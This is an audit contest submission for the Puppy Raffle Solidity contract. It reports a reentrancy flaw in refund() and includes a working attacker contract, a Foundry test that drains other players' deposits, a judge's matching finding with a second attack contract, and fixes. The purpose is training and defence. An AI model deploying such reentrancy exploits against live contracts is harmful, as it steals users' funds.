Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `PuppyRaffle::refund()` allows attacker to drain the entire raffle balance

kode_n_rolla

Root + Impact

Description

  • Normal behavior: The refund function is intended to allow an active raffle participant to withdraw their deposited entranceFee if they choose to exit the raffle before it concludes.
    Under normal conditions, the function should (1) verify that the caller is the correct active player, (2) refund exactly one entranceFee, and (3) mark the player as refunded to prevent multiple withdrawals.

  • Issue: The refund function performs an external ETH transfer to msg.sender before updating the internal state (players[playerIndex]).
    Because the state change happens after the external call, a malicious player implemented as a contract can reenter refund() via its receive() function while still being considered an active player.

    As a result, the attacker can repeatedly call refund() in a single transaction and withdraw entranceFee multiple times, draining not only their own deposit but also the deposits of other honest participants, ultimately emptying the raffle’s ETH balance.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee); // External call before state update allows reentrancy
​
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • The raffle contract explicitly supports refunds for active players, making refund() a regularly accessible and user-facing function rather than a privileged or edge-case path.

  • Any participant can enter the raffle using a smart contract address, enabling attackers to reliably trigger reentrancy through a fallback or receive() function during the ETH refund.

Impact:

  • A malicious participant can drain the entire ETH balance of the raffle contract, including the deposits of other honest players.

  • The attack permanently breaks the raffle’s economic integrity, causing loss of user funds and forcing the raffle round to fail or be cancelled.

Proof of Concept

ReenterancyContract in src/

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
interface ITargetContract {
function enterRaffle(address[] memory) external payable;
function refund(uint256) external;
function getActivePlayerIndex(address) external view returns (uint256);
}
​
contract ReenterancyContract {
address public targetContract;
address private owner;
uint256 private index;
uint256 public immutable entranceFee;
​
constructor(address _target, uint256 _entranceFee) {
targetContract = _target;
owner = msg.sender;
entranceFee = _entranceFee;
}
​
function attack() public payable {
address[] memory attacker = new address[](1);
attacker[0] = address(this);
ITargetContract(targetContract).enterRaffle{value: msg.value}(attacker);
​
index = ITargetContract(targetContract).getActivePlayerIndex(address(this));
​
ITargetContract(targetContract).refund(index);
}
​
receive() external payable {
if (address(targetContract).balance >= entranceFee) {
ITargetContract(targetContract).refund(index);
}
}
​
function withdraw() public {
require(msg.sender == owner, "Not owner");
(bool ok, ) = owner.call{value: address(this).balance}("");
require(ok);
}
}

PuppyRaffle.t.sol

import {ReenterancyContract} from "../src/ReenterancyContract.sol"; // add import
...
function test_reenterancyAttack() public {
// Initialize players and attacker
address user1 = address(0xb0b);
address user2 = address(0xCAFE);
address attacker = address(0xBEEF);
​
// Fund users
address[] memory players = new address[](2);
players[0] = user1;
players[1] = user2;
puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
​
// Prepare to attack
vm.deal(attacker, entranceFee);
uint256 attackerBalBefore = attacker.balance;
​
// Start attack
vm.startPrank(attacker);
ReenterancyContract reenterancyContract = new ReenterancyContract(address(puppyRaffle), entranceFee);
reenterancyContract.attack{value: entranceFee}();
reenterancyContract.withdraw();
vm.stopPrank();
​
uint256 attackerBalAfter = attacker.balance;
​
assertEq(address(puppyRaffle).balance, 0, "Attack should drain raffle balance");
assertEq(attackerBalAfter - attackerBalBefore, entranceFee * 2, "Profit equals stolen deposits");
}

Recommended Mitigation

Reorder operations in refund() to follow the Checks-Effects-Interactions (CEI) pattern: update internal state before performing the external ETH transfer. This ensures that any reentrant call will fail the playerAddress != address(0) check.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
+ // Effects
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
​
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
+ // Interaction
+ payable(msg.sender).sendValue(entranceFee);
}
​

As an additional hardening measure, consider adding a reentrancy guard (e.g., nonReentrant) to refund() and other functions that perform external calls.
For maximum safety, a pull-based refund design can also be used (record refundable balances and let users withdraw via a dedicated function), reducing reliance on direct ETH pushes.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 15 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!